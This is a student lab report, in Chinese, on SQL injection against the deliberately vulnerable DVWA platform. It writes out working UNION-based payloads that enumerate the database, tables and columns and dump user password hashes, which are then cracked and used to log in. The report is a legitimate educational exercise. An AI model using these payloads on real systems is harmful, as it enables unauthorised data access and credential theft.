一、实验目的要求:
1、掌握SQL注入的原理。
2、通过开源网站渗透平台DVWA实战,掌握常见的SQL注入方法。
3、具体内容:
1)学习配置开源网站渗透平台DVWA(Damn Vulnerable Web Application)。
2)学习常见的SQL语句:create、select、drop、union等。
3)学习相关SQL注入方法并在实验平台验证
二、实验设备与环境:
三、实验原理:
1 、 SQL 基础
结构化查询语言(Structured Query Language)简称SQL,是一种特殊目的的编程语言,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统。
标准的SQL命令有select、insert、update、delete、create和drop,其中,select语句是SQL的核心,用于查询数据库并检索你所指定条件的数据。select语句有五个主要的子句,from是唯一必须的子句。每一个子句都有大量的选择项、参数等。SELECT语句的格式为:
select column1[,column2]
from table1[,table2] (指定表)
[where "conditions"] (条件)
[group by "column-list"] (聚合函数)
[having "conditions] (为组指定条件)
[order by "column-list"] (顺序显示结果)
2 、 SQL 注入原理
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
SQL注入的基本思想:
1)查找入口:常见入口主要有表单提交(GET、POST)、URL参数提交(GET)、HTTP请求头部可修改的值(Referer、User_Agent等);
2)判断SQL注入漏洞的类型(字符型、整型等);
3)确定SELECT语句的字段数;
4)查找数据库以及user表;
5)确定users表对应的字段名;
6)获取全部用户信息;
3 、 DVWA 平台
DVWA是一款基于PHP和mysql开发的web靶场练习平台,集成了常见的web漏洞如sql注入,xss,密码破解等常见漏洞。此平台可自定义安全等级,分别为低、中、高三个等级。此次实验运用的是低等级。这个等级是针对完全的安全脆弱和没有安全性可言的网站。
四、实验步骤:
(一)启动平台
1、启动服务:执行命令,启动Web相关服务,启动apache2服务和mysql服务。
"# service apache2 start"
"# service mysql start"
2、等级设置:访问地址:http://locallhost/dvwa,并登录(用户名:admin,密码:password);单击左侧"DVWA Security"标签,设置安全等级为"Low"并提交。
(二)查找漏洞
1、数字测试:单击"SQL Injection"标签,即SQL注入。攻击者在web表单或者页面请求的查询字符串中通过注入恶意的SQL命令,从而使数据库执行恶意的SQL语句。在"User ID"编辑框输入数字1,查看结果后,再输入2。可看出,输入的参数被传入Web后台;
2、字符测试:继续在编辑框输入内容,输入"User ID:1'",发现SQL报错。其原因是,标准的SQL查询语句为"select firstname,surname from users where id = '1';",当再加入一个引号时,则导致语法错误,"select firstname,surname from users where id = '1'';"。
3、得出结论:Web漏洞为id,漏洞类型为:字符型。
(三)执行SQL注入
1、猜测字段数:输入"1' union select 1,2#"。union 是联和查询的一个关键字,这个有一个前提就是必须满足所有的列是相同的,所以在这前面必须要添加一些没有意义的列来作为填充。输出了First name、Surname。实际上后台执行的SQL语句为"select firstname,surname from users where id = '1' union select 1,2#'";字符'#'恰好起到注释的作用。再输入"1' union select 1,2,3#",结果报错,提示SQL语句字段数不对应,可得出字段数是2。
2、获取数据库名、用户名:输入"1' union select database(),user()#",联合查询以获取数据库信息。得出当前使用的数据库为:dvwa,当前的用户名:root@localhost。
3、获取当前用户表:输入"-1' union select table_name,2 from information_schema.tables where table_schema= 'dvwa'#",结果输出表为guestbook表、users表。我们已获得数据库名称为dvwa,数据库表为users。
4、获取用户表列名:"-1' union select column_name,2 from information_schema.columns where table_schema= 'dvwa' and table_name= 'users'#"。该数据表存储了mysql数据库中的所有列的列名。结果输出用户表user存在重要的两列:user、password。根据这两列就可以轻松获取网站的用户信息。
5、获取全部用户信息:"-1' union select user,password from users#"。将表中的信息全部输出,获取的密码经过了MD5加密,可以在网站PMD5在线解密。
6、测试:以用户1337为例,解密后的密码为charley。选择"Brute Force"标签,即进行暴力破解。验证密码正确性。输入用户名和经过解密后的密码,单击"Login"按钮,成功登录,SQL注入成功。
五、实验现象、结果记录及整理:
1、在查找漏洞中,通过2次测试,得出漏洞为id、漏洞类型为字符型,但在实际运用中,需通过多次测试,才可找出;
2、在执行SQL注入中,先是反复猜测字段数、再获取数据库名、用户名、当前用户表、用户表列名,层层递进,最后得到全部用户信息。采用从外到内的方法逐一突破,并获取有用的数据。
六、分析讨论与思考题解答:
1、实际场景中,SQL注入的基本步骤是什么?
1)注入点测试
2)查询字段数
3)判断回显位
4)查询数据库的基本信息
5)爆数据库名
6)爆数据库表名
7)爆字段名
2、渗透测试中常用的几个函数和表库名有哪些?
3、二阶SQL注入流程是什么?